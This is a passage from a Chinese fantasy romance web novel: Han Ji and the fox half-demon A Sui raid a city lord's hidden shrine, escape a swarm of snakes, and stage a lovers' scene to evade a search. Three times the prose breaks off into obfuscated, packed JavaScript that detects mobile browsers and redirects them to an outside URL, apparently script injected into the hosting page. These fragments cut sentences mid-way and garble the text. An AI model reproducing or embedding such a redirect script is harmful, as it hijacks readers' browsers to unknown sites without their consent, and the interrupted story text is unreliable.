说罢,他喝了口茶,轻飘飘道:“下不为例。” “好一个下不为例。”谢必贞一脚踢开脚边的小蝶,冷哼一声道,“将小蝶拉下去,打二十棍赶出城主府。”恶狠狠地剜了阿随一眼,转身离去。 阿随见他们走远,慢悠悠地关上房门,一回头便看见方才还呼呼大睡的韩纪此时神色清明地坐在太师椅上,冷眼瞧着他。 “陆权野身上并无伤痕。”阿随边走边说,“你怀疑错人了。” 饮酒过多使得韩纪脑袋发昏,她揉着额角,沉思片刻,缓缓道:“掩人耳目的方式有许多,你今日此举太不妥当。平白无故坏人清白,险些伤人性命,虽是作戏,但伤及无辜,徒增罪业,以后还是不要做的好。” 阿随替她斟茶的手停在半空,沉了脸色盯着韩纪瞧了片刻,方才垂眸笑道:“冒险之事注定要有些代价,不找人帮我作证,事后谢必贞査起我如何洗清嫌疑。” 韩纪冷声道:“代价?一条人命在你眼中便如此低贱么。” 茶杯重重落在木桌上,杯底粉碎。 阿随本算不上好的脸色彻底阴沉下来,挑眉冷笑道:“人命不贱,我的命贱。仙长,若是今夜我被发现了,死在城主府,你会为我难过么?” 韩纪怔愣一瞬,偏头道:“我不是这个意思。” 阿随却如同被人踩住尾巴的猫一般不依不饶,咬住牙道:“你不要岔开话题,如果我死了,你会舍得为我掉一滴眼泪么?” 韩纪不知他忽然发什么神经,与他说不通,也懒得理他,沉默良久见他不再言语,冷声说道:“从前城主府有一个禁地,方才在席间我与那些侍从交谈时得知了大概的方位。一会儿我自己去闯一闯,若是能借此捉到那妖,夺回悬息壤,届时解开金魄神珠的封印,你便可以恢复自由身。若是我被抓住了,你也全当不知,一切我自己扛。” 说罢,她起身离去,只留那只半妖孤零零地站在黑夜里。 夜半时分,一道黑影在城主府上空飞快掠过,直奔后山的宗祠而去,这黑影敏捷如风,沿路掩映在屋檐与天空连成的大片阴影之下,只有越过皎洁月轮之时,才会让人看见刹那的踪迹。 “你看什么呢?专心点,一会儿被领头的看见你发呆又要挨板子。”挑灯值夜的侍卫拍了拍身侧的兄弟。 那侍卫揉了揉眼睛,道:“刚刚我好像看见月亮上有个身影,但是一眨眼又不见了。” 挑灯的侍卫闻言抬头看月道:“我看着月亮还是那个月亮呀,若是真有身影那怕是嫦娥吧。”他意识到了什么,紧蹙的眉头展开,咧嘴笑道:“你小子该不会是动了春心想姑娘吧?” 谈笑间,两名值夜的侍卫转进拐角,韩纪从阴影中探出身来,支开小窗翻了进去,轻轻将窗户合上。 宗祠内,数不清的牌位似剑锋一般矗立在神龛之下,白烛垂泪,燃到天明;供台上,鲜嫩的瓜果与精致的糕点小山似的摆放。 韩纪的目光在牌位之中寻找着,终于瞧见了熟悉的名字。她走到蒲团前,从香盘之中取出三支线香准备在白烛前点燃。 在烛火要点燃线香的刹那,她又将香归还到原处,黯然道:“陆识舟,第一次见你是百年前夜闯城主府禁地,时隔多年再见,我还是在夜闯城主府禁地。行的是偷鸡摸狗之事,自然没办法给你点香了,你莫要怪我礼数不周。” 她的目光在周遭的牌位上转了两圈,最终又回到陆识舟的牌位上。 牌位有人擦拭,自然不会落灰,但陆识舟的牌位下有着淡淡的划痕。 如果是旁人,自然不会发现,可韩纪偏偏只认识陆识舟,也只祭拜陆识舟。 韩纪轻轻转动陆识舟的牌位,便听得咔哒一声,紧接着身前的三只蒲团旋开,显出一个通道来。她不禁看向陆识舟的牌位,轻声道:“你们城主府机关一百年也不改进改进,遇上邪魔歪道该怎么办。” 沉默片刻,她叹道:“真寂寞呀,卫长风死了你也死了,本来我也死了,你们倒是好死了一了百了,怎么就我命苦要活两辈子。 ” 说罢,韩纪孤身潜入地道之中,那股如百年前一般腐朽闷塞、充斥着灰尘的味道钻入鼻腔之中时,一个熟悉的声音在她脑海中响起。 “堂堂万剑山山主的得意弟子,竟与我狼狈为奸做如此鸡鸣狗盗之事,实在是世风不古,有伤风化。被万剑山那群老顽固知道了,只怕气得胡子都要歪了。”少女戴着一张丑陋的面具,一双眼睛亮晶晶地盯着地道里正举着火把探路的仙门弟子。 韩纪顺着那少女的目光寻去,布满青苔的地道里,背负长剑,身穿黑衣的卫长风目不转睛地查验地道之中有无机关。 他漆黑如墨的眼睛里闪烁着金色的火焰,呼吸之间,挺拔的鼻梁反映着温润的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941788|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “无念师妹莫要取笑我,能与你并肩战斗是我的荣幸。”卫长风扯下遮面的黑布朝韩纪一笑,韩纪却看不清他的面容。 他死太久了,她几乎要忘记他的相貌了。 想到遥远的前尘往事,韩纪心头如同这冗长而昏暗的暗道一般涌起些不明不白的沉闷之气,好在这沉闷之气无法左右她的身躯,她依旧沿着记忆中的路径敲击着墙壁的砖块。 咔哒一声脆响,石壁之上一道暗门旋转开来。 韩纪欲燃火观视其中,便听得头上传来细微的响动——有人进了宗祠。 那人的脚步缓缓向供台走去,韩纪听见他扭动牌位的声音。 她再来不及查看,连忙闪入石道之中,在黑暗之中按下一侧墙角凸起的机关,将暗门掩藏起来。便在暗门关闭的瞬间,她听见箭矢破风而来的声音,意识还未思考,身体便已经灵巧地避开了无数的箭矢。 韩纪惊呼一声好险,胸膛之中的心脏扑通乱跳着,燃起掌心火小心翼翼地踏上石道。 不得不说,城主府对于这块禁地的机关还是增加了许多让人意想不到的巧思的,譬如从前暗道里就没有这些箭矢、飞针、落石、钢板、火球、元水、流沙、毒雾、蜈蚣、蜘蛛等等。 韩纪沉着脸甩掉衣角上的火星子,看着近在眼前的出口叉腰大喘气。 这是机关么?这是练武场吧!她没被弄死都要累死了! 肯定是陆识舟那个鬼灵精弄的! 韩纪长呼一口气,擦去满脸的汗水,抬脚往亮着光的出口走去,却不曾想,在她的脚踏上石板的瞬间,原本平整的地面陡然倾斜,她脚下一滑,不受控制地往下滚去。 原本想着只不过换一种方式出场罢了,滚出去就滚出去了,反正也没人看见她丢脸,可待滚到洞口的时候,地面消失了,数十丈深的断壁近在眼前。 韩纪眼疾手快地抓住了洞口悬下的铁链,才没有摔下山洞,变成一滩烂泥。 她俯身看去,数十丈下的地面上长满了野草,一条弯曲的小径穿过草地,沿途设置的石灯里烛火摇曳,星星点点的萤火虫正在草间低低飞舞。 小径的终点坐落着一尊巨大的月神像,她手中抓住的铁链便与从神像肩部牵出。 神像头戴花冠,身披帔帛,胸饰璎珞,可本该端详温柔,双目下视、慈眉善目的神像被削去了面庞。从山顶的缺□□下的一缕月光恰照耀在那空白的面庞上,生出一种怪异而奇特的美感。 这里与百年前相比变化许多,从前那神像不过一人高,如今却有十余丈。 城主府竟将这一座山都挖空了。 侥幸捡回一条命来,韩纪不敢再放松警惕。 她眼观六路耳听八方,生怕如方才一般中了招。 铁链冰冷湿滑,韩纪几乎用尽了浑身的力气才堪堪摇摇晃晃挂在半空,欲捻诀下地,却听得下方传来些模模糊糊的谈话声。 “仔细着些……莫要将他们放跑了……” 韩纪屏息凝神,低头看去,只见神像之下不知从哪里走出了一个人影,正对着里头的人说这话。 那人说完话转身走上小径,光线太暗,韩纪实在瞧不清那人的面容。 未免灵力波动惹人注意,她双手双脚攀上铁链,正欲翻身,却忽然听见丝丝的声响,闻声看去,一条毒蛇盘在铁索之上,此时正直起身子冲她吐舌。 这蛇花纹之绮丽,色彩之鲜艳是韩纪前后两辈子都没瞧见的。 她坚信只要轻轻来上那么一小口,她今天不是被毒死后摔成烂泥,就是摔成烂泥后被毒死。 前有猛虎后有追兵,韩纪大气也不敢多喘,刚想后撤那蛇便弓起身子朝她抓着铁索的手指咬去。 情急之下,她撤出一只手抽出青木杖朝那蛇打去,毒蛇缩头后撤,她抓着铁链的手却一滑。 视野颠倒,神像倒悬,她在坠落的刹那想起了那只被她胁迫卷入风云的小狐狸。 23. 渊有月色 电光火石之间,一只手从黑暗之中伸出来拉住了她的小臂。 韩纪不可置信地回头看去,阿随的脸在黑暗之中如同一朵沉入水潭的红莲,在月光照耀下浮现真容。 小蛇啪嗒一声摔在那黑影颈后,那人嫌恶地低骂了一声,将小蛇摔死在地上,抬起头眯眼看去,高悬的铁索将山顶洞口露出的圆月切成不对等的两半。 月光照耀进来,平日里土黄的山壁如水碧一般晶莹剔透。 她注视了片刻,未见什么动静,便转身离去。 月神像脑后,韩纪探出头来,心中惊道:“居然是谢必贞。” 阿随正要开口,却不知怎么往神像下倒去。 韩纪眼疾手快地抓住他,拉扯之间,他的肩膀擦过崖壁上茂密的灌木。 墨绿的叶片像是蜻蜓翅膀一般团簇着他俊美的脸,月光下棱角分明的轮廓变得柔和,那双墨黑的眼中也泛起晶莹的光。 韩纪被扯入他怀中,脑袋砸在他胸膛的瞬间,感受到他体内那颗心脏的跳动。 枝叶颤动,花瓣掉落,无数亮晶晶绿莹莹的萤火虫从灌木之中飞出,好似漫天流星。 “扑通——” “扑通——” “扑通——” 心跳声如擂鼓。 “你小心点,摔死了别阴魂不散问我难不难过。”韩纪连忙爬起,拍着自己的衣袖不自在地说,“我才不会难过,更不会为你掉一滴眼泪。” 阿随将目光移到别处,默然不语。 韩纪有些尴尬,又问:“你如何进来的?来的路上可还顺利。” 阿随这才慢吞吞道:“跟着你进来的,没遇见什么机关,很顺利便过来了。” 韩纪有些忿忿不平,合着她过五关斩六将,上刀山下火海是在给他开路! 石门又转开,两个提着饭盒的侍卫走上小径朝着神像走来。 韩纪与阿随对视一眼,轻声道:“一会儿我下去把他们两个打晕了,咱们扮成他们的样子进去送饭,看看这神像之后究竟关押着谁。” 阿随看着下头越走越近的侍卫,冷不丁问:“你记得我是什么妖怪吗?” 韩纪自然知道他是狐狸精,可在她眼中,妖怪就是妖怪,是什么妖都没所谓,她都杀得了。 于是她看向他,一言不发,平静地等着他的回答。 阿随嘴角轻勾,低声在她耳边道:“瞧好了。”说罢他揽住她的肩膀,带着她从数十丈高的神像上一跃而下。 无数闪烁的萤火随着夜中浮动的衣摆一起在空中飞舞,又随着他们的脚步一起静静地掠过野草尖,落在小径之上。 两名侍卫隐约察觉到身后的响动,脚步一滞,将食盒放在地上,手按佩刀回头张望。 却不曾想,原本无人的石径上不知何时站了两个人,一前一后一高一矮,前头的那人抬起头来他们才瞧清,慌忙行礼道:“属下参见谢统领。” 谢统领冷着脸色道:“做个事情磨磨蹭蹭的,还不赶快将门打开。” 侍卫小步跑向神像,迈过阶梯来到莲花台下。他们轻轻叩了叩其中一片莲花花瓣,莲花台的花瓣便缩了下去,一个暗门升上来。 侍卫将令牌嵌入暗门上的凹槽,又敲击了石门五下。 片刻后,石门里头也传来五下敲击声。 侍卫低声道:“渊有月色。” 里头的人回道:“洞藏神魔。” 接着,那侍卫将扣在凹槽中的令牌往右手边转了三转,又往左手边拧了四转,紧闭的石门便轻微颤动起来,无数泥灰簌簌掉落,不多时,一个通道打开来。 他们提起食盒,走进野草之中,盘腿坐下,道:“饭已经送到了。” 韩纪看着他们的样子,颇为诧异地看向正在扒衣服的阿随,道:“你的魅术很不错,为什么不用在我身上?说不定我中了招,真会放你走。” 阿随抬起头来,眨了眨眼睛,道:“魅术只是障眼法,只能欺骗人,换不来真心。你心志坚定,不会被魅术所骗。”说罢他将其中一套小一点的衣裳丢给韩纪,自己则将另一套套上。 待到二人都换好衣服,他们学着方才侍卫的模样,和里头的侍卫对起暗号。 石门打开,两个年轻的侍卫探出头来接过他们手中的食盒。 神像之后是另一个密室,与前头宽阔的山洞不同,里面石砖铺地,两丈高五丈宽的空间里摆放着一个木制的方桌,两条长凳,方桌对面是两道暗门,分别通往不同的地方。 “方才你们在外头嘀嘀咕咕说什么呢?”两个侍卫在木桌旁坐下,一个笑嘻嘻地问二人,另一个则将其中一个食盒打卡,打量着其中的菜色,紧绷的眉头舒展开。 韩纪粗着嗓子道:“方才外头突然蹿出一条小蛇,将他吓了一跳,他骂了会。” 侍卫本就是寒暄才问的话,因此也不管韩纪给出的回答是否合乎情理,只是微微笑着说:“你们两个在这里休息,我们去给里头的人送个饭,等我们出来你们再走。” 韩纪见一人提着一个食盒钻入其中暗门之中,另一个也紧随其后,忙问:“这送个饭还两个人么?” 那侍卫便答道:“这暗道里头关了许多厉害的妖怪,一个不好对付。” 说罢,暗门落下,二人的脚步声渐行渐远。 韩纪连忙贴在那暗门之上,正欲按动开关打开暗门的瞬间,却被另一道紧闭的暗门吸引。 暗门中,传来细密的响动声。 她将手掌覆在那道暗门之上,察觉到里头暗暗流动的妖气。 见她调转目光,阿随走近这道暗门。 “这门后确实有着诡异的妖气,走近之后金魄神珠的感应更强烈了。”他的目光在暗门上搜寻,“要不要捉住那两个侍卫来问。” 这道暗门韩纪总觉得很眼熟,她凝神观视,忽然想起前世城主府关押陆识舟的地牢便是用的这样一扇石门。 “这种石门看似顽石,实际是用血甲虫的躯体打造的。血甲虫噬血为生,死后尸体见血则化,血干则结;若以一人之血经年累月的喂养血甲虫,那以这种血甲虫尸体打造的暗门除非此人之血否则绝无可能开启。”韩纪咬破嘴唇沾了点血涂在那暗门之上,见暗门毫无反应,她低声叹道,“看来我们运气不好。” 阿随忽然说道:“不一定,我猜想老天爷是站在你这边的。” 韩纪有些诧异地回头,见他打开来时的通道,疾步走到小径上捡了什么东西又走了回来。 待到他将手中帕子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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韩纪低头瞧去,密密麻麻的白骨垒在蛇骨之下,可这白骨竟全是头颅与手掌、脚掌。 她心中有个荒诞而可怕的猜测,连忙走近两步,仔细去瞧那具蛇骨。 这具蛇骨居然是以人的骨头搭建而成的,一具蛇骨就是万人坑! 刹那之间,韩纪的后背窜起无数汗毛。 她身上的冷汗一阵激过一阵,耳畔响起巨蛇恐怖的吐舌声。 数千人在哀嚎,数万人在颤栗。 尸山血海之上,白骨做躯,肉身成皮,巨蛇吐信。 “小心!” 一声惊呼将她惊醒,一条攀附在蛇骨上的小蛇朝她伸出的手指扑来。 千钧一发之际,阿随抽出腰侧短剑将那小蛇斩为两半。 刺啦一声,血液洒在巨大的蛇骨之上,韩纪听见无数窸窸窣窣的声音从上而下的传来。 她后退一步,抬头望去,只见蛇头光滑白皙的表面迅速被流动的黑色液体侵蚀得坑坑洼洼。 刹那后,她才看清那并不是因腐烂而造成的侵蚀,那是无数条小蛇自蛇头爬出! 巨大的蛇骨顷刻间被蠕动缠绕的浪潮席卷,数不清的小蛇争先恐后地自蛇头上爬下,在这期间,不断有蛇坠落在地,于黑暗之中翻滚吐息。 24. 炼化神珠 一人一妖急急后退欲退出密室,可暗门已经锁死。 那滴血珠已经干涸。 阿随眼疾手快地取出手帕,露出小蛇瘫软的尸体,正要取血开门,暗门之上的黑暗里却突然跃出一条蛇来,张口便把那蛇头咬了去。 二人躲闪不及,反应过来时,手帕里只剩小蛇半条尾巴。 四面八方都传来爬行之声,韩纪催动火焰照去,只见四周墙壁上密密麻麻的都是交缠的蛇头与蛇尾。 它们冰冷的瞳孔反映着微弱的火光,猩红纤细的信子后是尖锐的毒牙。 无数的小蛇腾空跃起朝二人扑来,阿随旋动手中短刀斩去几尾。 被斩断的蛇头和蛇尾还在地上扭动,便被蛇群吞噬。 韩纪施法将手中火焰一分为六,落在半空,照亮整间密室。 光芒闪烁之中,她才看清密室之中有数百条蛇在吐信,有数千条蛇在缠斗,有数万条蛇朝他们疯狂地扑来。 她抽出青木杖,后背与阿随紧贴。 蛇群扑来的瞬间,四周的光线都被遮挡,尖锐的毒牙、腥臭的蛇信、湿滑的蛇尾飞腾着,只听得噼噼啪啪的响动,无数的蛇尸落地,未休息一瞬,又有数不清的毒蛇曳尾而来。 阿随焦急地催促:“倒不如一把火把他们都烧了!” 杖尖轻点,打落七八截毒牙;杖身颤动,震飞十余条毒蛇;杖首重锤,击碎无数的蛇头。 韩纪手中木杖转动,带起凌厉的风声,她皱眉道:“这么多蛇,真烧起来我们也得死在这里。” 话音刚落,又有无数小蛇袭来。 不知过了多久,韩纪渐觉手脚无力,腿软筋麻。 先前闯入地道中时,她就已经耗费了许多灵力,如今与群蛇缠斗,又消耗了大半。 她偏头瞥了眼身后的阿随,听见他呼吸声越来越急促,越来越沉重,心知再这样毫无目的的打下去,二人只会葬身蛇腹。 蛇血飞溅,蛇肉成泥,空气中的腥臭味越来越重。 阿随看着不断翻涌滚来的蛇群,急道:“这蛇怕是倾巢而出了!越打越多,怎么杀都杀不完!” 蛇海蛇浪翻滚间,飘浮的火焰洒下点点金光。 金光之下,女子紧蹙的眉头忽然展开:“你说对了,这些蛇倾巢而出,暗门出不去,我们便从他们的巢出去。” 阿随这才意识到此处并非蛇群的巢穴,他环视四处,抬头望去,见那巨蛇的头骨上隐约是个黑黢黢的洞口。 他踢飞几条毒蛇,手中短刀起落间,血肉横飞。 二人边斩边走,不多时,成堆的尸体便落在脚边。 蛇群渐渐环着人骨蛇塔翻涌起来。 阿随眼疾手快攀上蛇塔,韩纪紧随其后。 二人手脚飞快,脚底下的蛇群也紧追不舍。 在这前后两股攀援的力量下,本就是用人骨搭建的巨蛇之骨开始颤动,顷刻间便要坍塌。 阿随忽然伸手按住了韩纪的肩膀,道:“蛇太多了,你先上去!” 话音刚落,一股力量自他手上传来,韩纪只觉身子忽然高高跃起,无数的蛇骨在自己面前显现。 她眼疾手快地抓住凸起的蛇骨,悬挂在巨蛇的头颅之下,低头望去,蛇群已经将阿随的身影淹没。 韩纪一手挥杖击杀追咬上来的毒蛇,一手攀住洞口,挺身钻入那黑洞中。 无数毒蛇随着她的身影往洞口爬去,却在触及洞口的刹那被青木杖打落,随着蛇群的翻滚阿随的身影再次显现出来。 他正在与众蛇缠斗,韩纪心知若非御妖符限制了他的妖力,这些毒蛇不会是他的对手。 眼见蛇群如潮水一般涌上来,即将漫出洞口,韩纪的心中升起一个残忍的念头。 成千上万的毒蛇一旦出了山洞,整个嘉州城将会成为尸山血海,她要将群蛇封印在山洞之中,碎为灰烬,而那只小狐狸与金魄神珠便是代价。 凡事都有代价。 一道声音在耳畔叩问。 “人命不贱,我的命贱。仙长,若是今夜我被发现了,死在城主府,你会为我难过么?” 韩纪怔愣一瞬,方才从洞口打落的毒蛇又翻腾着涌上。 她挥杖将毒蛇打落,余光瞥见阿随的身影。 电光火石之间,她的身体比她先做出回答。 “小狐狸!把手给我!快!” 阿随不可置信地抬起头来,漆黑的眼眸闪动着令人难以忽视的光芒。 他挥出短剑将身侧的群蛇斩落,奋力向上伸出手去。 终于,在群蛇舞动之中,两只手紧紧交握,韩纪一鼓作气将阿随拉出洞口,旋即双手紧握青木杖,重重插在那巨蛇头骨之上。 木杖击碎头骨的瞬间,无数细小的骨屑飞溅,将周遭的毒蛇震飞。 “以血为引,请青女落霜,日月不到,遇水凝冰,封!”她双手捻诀,指尖一滴鲜血落在青木杖身,无尽的寒气自杖尖涌出,蛇群由上至下凝出冰霜,眨眼间便被冻成冰块。 从黑洞中望去,整个密室渐渐冰冻起来。 半空中浮动的火焰熄灭,被寒冰封住的蛇群消失在黑暗之中。 韩纪双手握住冰冷的青木杖,眼睫之上也结出一层薄薄的霜。 灵力过度使用,已经让她的双脚发软,但她深知今日若不把蛇群一举消灭,来年春暖花开冰消雪融之际,青女之力应时散去,这饿了一年的蛇群足以将巴陵城吃空。 她调动仅存的灵力注入青木杖中,拔出青木杖后再重重击下。 只听得一声巨响,木杖与寒冰相接之处迸出无数裂纹。 这裂纹如一柄柄长剑向下蔓去,蛇群凝成的巨大冰块被分割成无数如指节般大小的碎冰。 失了支撑的力量,由无数条蛇凝成的蛇塔砰然倒地,摔得四分五裂。 韩纪喘着粗气地躺在地上,偏头看向身侧的阿随,喃喃道:“好险,差点就死在这蛇窝里了。” 阿随蹲坐在她身侧,十分关切地看着她,道:“不会的,你不会死的,御妖符在,它不允许我看着你死。”说罢,他从怀中掏出两块糕点递给韩纪,背着韩纪往透着微弱光亮的出口爬去。 爬了许久,终于到了圆形的出口之下。 厚重的木板封住了出口,极重的雄黄气味弥漫在四周。 韩纪吃了东西,又休息了许久,力气已经恢复了许多,便从阿随背上爬下来,抬头凝目看去,只见木板之上缠着铁索,洞口周围的石壁上贴满了驱蛇的符咒。 阿随将短刀插入木板之中,将木板破开一道缺口,又借着这缺口割断了上头的锁链,扯出一个空隙来。 一人一妖先后从空隙中钻出,呼吸到新鲜空气的刹那,如获新生。 蛇巢腥臭,枯井之下又布满了雄黄,一人一妖钻出井后极为默契地剥去侍卫的衣裳,露出底下穿着的夜行衣。 万里无云的夜空中,一轮明月吐露清辉。 韩纪警惕地打量着四周的环境,震惊地发现万蛇巢穴的出口是一口枯井,而这枯井正坐落一个城主府废弃的小院之中。 小院外传来脚步声,一人一妖对视一眼跃上墙头,在屋檐中飞快穿行。 “快快!” “抓住那贼人!” 无数飞箭追着韩纪的脚步射来,夜风中,传来肃杀之气。 远处,城主府漆黑的大门紧闭,无数执着弓箭的侍卫从城楼上探出身。 好不容易甩脱了追兵,一人一妖连忙奔回栖身的小院。 韩纪从院墙上跃下,便听得身后一声重响。 她回身看去,阿随倒在地上,不省人事。 眼见着远处火光重重,搜查之声此起彼伏,韩纪连忙将他拖进自己的屋内,点灯查探,却见他双唇紧抿,脸色发青。 她心中暗道不好,将油灯放在一侧,见他右手小臂上衣裳破裂,扯开一看肌肤上赫然印着两个尖牙咬下的伤口。 伤口呈黑紫色,毒素化作的黑线已经顺着手臂经脉袭上他的胸膛。 韩纪来不及想他是何时受的伤,拼尽全力将他拖到床上,解去他的衣裳,为他施法祛毒。可他所中之毒并不是简单的蛇毒,若无解药,黑线袭至心脉,他必死无疑。 院外传来敲门声。 谢必贞叩门道:“二位仙长,城主府今日失窃,贼人逃窜至此,还请仙长开门让我等搜查,以免贼人作恶伤了你们。” 韩纪单手掐诀朝外弹去,一道白光在紧闭的院门上弹开,院中的灌丛中,藤蔓延伸出来将院门缠紧。 屋外,原本支开的小窗悄然落锁,所有的门窗都被藤蔓封死。 敲门声渐渐化为砸门声,砸门声渐渐化为撞门声。 阿随不知何时睁开了双眼,满身虚汗,面色苍白如纸,只有一点血色凝在唇瓣。 “没想到……倒是我拖了后腿……”他双目注视着韩纪,竟透露出无穷无尽的惋惜与眷恋,“好在……我本来也是一条贱命……你别再管我……趁我没死挖眼取珠……快走……快走……” 韩纪凝视着他,脑海中无数光影闪过。 他渐渐失去意识,金魄神珠现出金光。 为今之计,只有帮他炼化金魄神珠护住心脉才能保住他的性命,可如此一来她被金魄神珠封印的那一部分力量便再也拿不回来。 他不过是只半妖,死了就死了,如何比得上她的灵力重要。 他甚至还是一只不太安分的半妖,若非有锁妖契压制,他才不会乖乖听话。 死了就死了,她不会为他流一滴眼泪。 几个身影跃下院墙,抽出刀剑砍向院门上的藤蔓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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屋外,传来侍卫的脚步声,另一侧的房门被一脚踹开,侍卫搜查片刻,高声叫道:“回禀统领,屋内无人。” 谢必贞冷声道:“把这一间也撞开。” 门窗上显出重重火影,谢必贞的身影投射在门窗上,敲打锤击之声乒乒乓乓地响起来。 韩纪听着屋外的声响,知晓自己现在施下的那丁点术法挡不了多久,当务之急是要找到办法骗过谢必贞的搜查。 目光转动,灵光一闪,韩纪三两下褪去阿随的上衣,露出结实的胸腹。 正当她伸手去解裤子的时候,阿随睁开了眼睛。 他强撑着身体从床上坐起,扫了一眼自己被蛇咬伤的手臂,喃喃道:“蛇毒……怎么解的?” 韩纪随口答道:“不是什么剧毒,我施法解了,耗费了点灵力。”她顿了顿,继续说:“现在外面有搜查的人,我们必须想办法过这一关。” 阿随领会了她的意思,抿了抿唇,轻声道:“作戏可不是只脱我的就行,你的也得脱。” 韩纪当即脱去外衣,扯开中衣衣领,露出半边肩膀,问:“小狐狸,这样可以吗?” 阿随垂目扫过她裸露的肩头,在瞥见她肩上纤细的系带之时,如触炭火一般飞快地转向床柱上垂落的青色纱幔,结巴道:“不……不够逼真,还要有些红痕。” 韩纪蹙起眉头,疑道:“红痕?”她自然是不知道这红痕的含义,也不需知道。 未待阿随开口解释,她便伸手重重在自己肩头狠拧了几把,刹那后,原本白皙的肩头当即泛起道道红痕。 韩纪轻声道:“这样可以吗?” 阿随头也不回地说:“你觉得可以就可以。” 韩纪瞥见他通红的脖颈,严辞厉色道:“现下可是性命攸关的时候,你害羞什么?转过来看!” 阿随察觉到她的怒气,小媳妇一般扭扭捏捏地转头瞥见了一眼,喉头一滚,又不动声色地别开目光,注视着自己受伤的手臂,道:“你可以了,但是我这里还有些麻烦。” 在小臂之上,赫然有两点通红的伤口,正是毒蛇咬伤留下的。 蛇毒即是剧毒,蛇口留下的牙印便不会消除,韩纪情急之下竟将这麻烦事忘记了。 她扯上衣领遮住肩膀,沉思一瞬,道:“我有一个办法。” 寒芒一闪,唰的一声拔出短剑:“把这块肉削掉,你觉得怎么样?” 阿随将受伤的手提到口边,双目凝视着韩纪,道:“我觉得不好。”说罢,他张嘴在自己的小臂上狠狠地咬了一口。 毒蛇吻过的小臂上登时迸流出红绸一般粘稠的鲜血,鲜血染红了他的唇齿,也染红了他的眼眸。 血液自他嘴下的肌肤中流出,他却像察觉不到疼痛一般痴痴地凝望着韩纪。 鲜血掩映下的毒蛇牙印不再醒目,他的眼光却似无形的毒蛇轻轻吻上韩纪的脸庞。 就好像,他咬的不是他的手臂,而是她的脸庞。 韩纪第一次被人瞧得心里发毛,连忙掀起纱帘看向门外。 25. 榻上被围 紧闭的木门无论侍卫怎么撞击也不动分毫,谢必贞挥退左右,走上前来。 “楚仙长,城主府以礼相待,你却伙同贼人行偷盗之事。”谢必贞的声音在门外响起,“如今城主府已经是重兵看守,我劝你还是早点束手就擒,否则侍卫下手没个分寸,免不了缺胳膊少腿,让你受些皮肉之苦。” 屋内依旧毫无动静。 “玉苍派的弟子倒不像传说中那样不中用,也有些手段。”谢必贞如此想着,抬起手抚上木门。 便在她手放在木门上的瞬间,木门嘎吱响了一声,露出一道缝隙。 一道夹着倦意的女声传来:“谢统领,三更半夜的怎么査到我这里了,实在是扰人好梦。我衣裳都没穿好,就不出来迎接你了,要查什么进来查吧。” 谢必贞瞥了眼两侧的侍卫,点了两个丫鬟与自己一道进入房中。 屋外火光摇曳,映得四处红通通。 屋内却只有从门缝倾泻的一缕冷清清的月光。 丫鬟提着灯笼走近被帷幔包裹的床榻,轻声道:“府中失窃,烦请楚仙长下榻让小的搜身。” 将入夏,床榻的帷幔是透气的青纱,随着火光的逼近,青纱后的人影也显现出来。 谢必贞眯眼细看,只见青纱帐底散乱的摆放着两双鞋子,青纱帐中,一双交缠的手臂露了出来,一粗一细,赫然是一男一女,未着寸缕。 两名丫鬟自然也瞧见了这情景,互相交换了眼色,豆腐一般白皙的脸颊渐渐浮现一层红晕。 谢必贞呵退要上前查验的丫鬟,一步一步地走近床榻。 “我倒不知楚仙长今夜有佳人相伴,扰了你的好事,还望海涵。”谢必贞鼻子轻嗅,闻见淡淡腥味。 她伸出手,正要掀开那碍眼的帷幔,一只修长白皙的手便从青纱帐里翻出,将帷幔挽开。 韩纪衣衫不整,香肩半露,颈上红痕点点,笑盈盈坐在榻边道:“扰都扰了,海涵不海涵的也没什么必要。” 谢必贞从那缝隙中看去,只看得见男子半裸的胸膛,别开眼问:“方才我们叩门你为何不开?” 韩纪拢了拢衣裳,用手指慢慢地顺着披在肩头的发,讶异道:“叩门了么?我没听见。” 见谢必贞面露疑色,她又轻声补充:“谢统领,如今被你撞破了我也不好得说什么。我与师弟两情相悦,早就以身相许。但二人未结成道侣,若是被哪些有心之人听见传扬出去,岂不是让师门蒙羞。因此早早地便设下了隔音咒护住了四处的房门,这样一来外头听不见里头,里头自然也听不见外头了。” 谢必贞面色如铁,冷笑道:“楚仙长,我送你回来这时,你这师弟还在花丛中调戏丫鬟,如今怎么又成了你的如意情郎。” 她对这阿随很是不屑,堂堂一男子若是让女子抢了先,决计不是拱手相让,而是实力不济,技不如人;原本若是他循规蹈矩些,配这楚清妙倒也勉强合适,却不曾想竟是个贪恋美色、水性杨花、生性孟浪的狗男人。 这样的男子便是丢出去配条狗也要埋汰滥情的,又如何配得上眼前这位? 因此她对二人因欢好之事设下除音咒的说法很是怀疑。 韩纪自然也听出她的怀疑,轻笑一声道:“男子花心一些也是常有的事情,也怪我这几日醉心修炼无暇顾及他,这才叫他同旁人寻欢作乐,细细想来也是我的不是。这不,今天晚上便补偿他了,折腾了一晚上,他才睡着。” 谢必贞的脸色顷刻间变换了,由一开始的不屑变成了嫌恶。她眉头紧皱,沉默片刻才消化了这番自轻自贱的言语,冷冷道:“活了好些年,头一次听这样的说法。” 见她垂眼查看两双鞋履,韩纪又道:“你说城主府失窃,可丢了什么东西?” 谢必贞冷冷道:“府库中丢了些金银。” 韩纪问:“可在我的鞋子里找到了?” 谢必贞抬起眼,直直盯着韩纪身后的床榻。 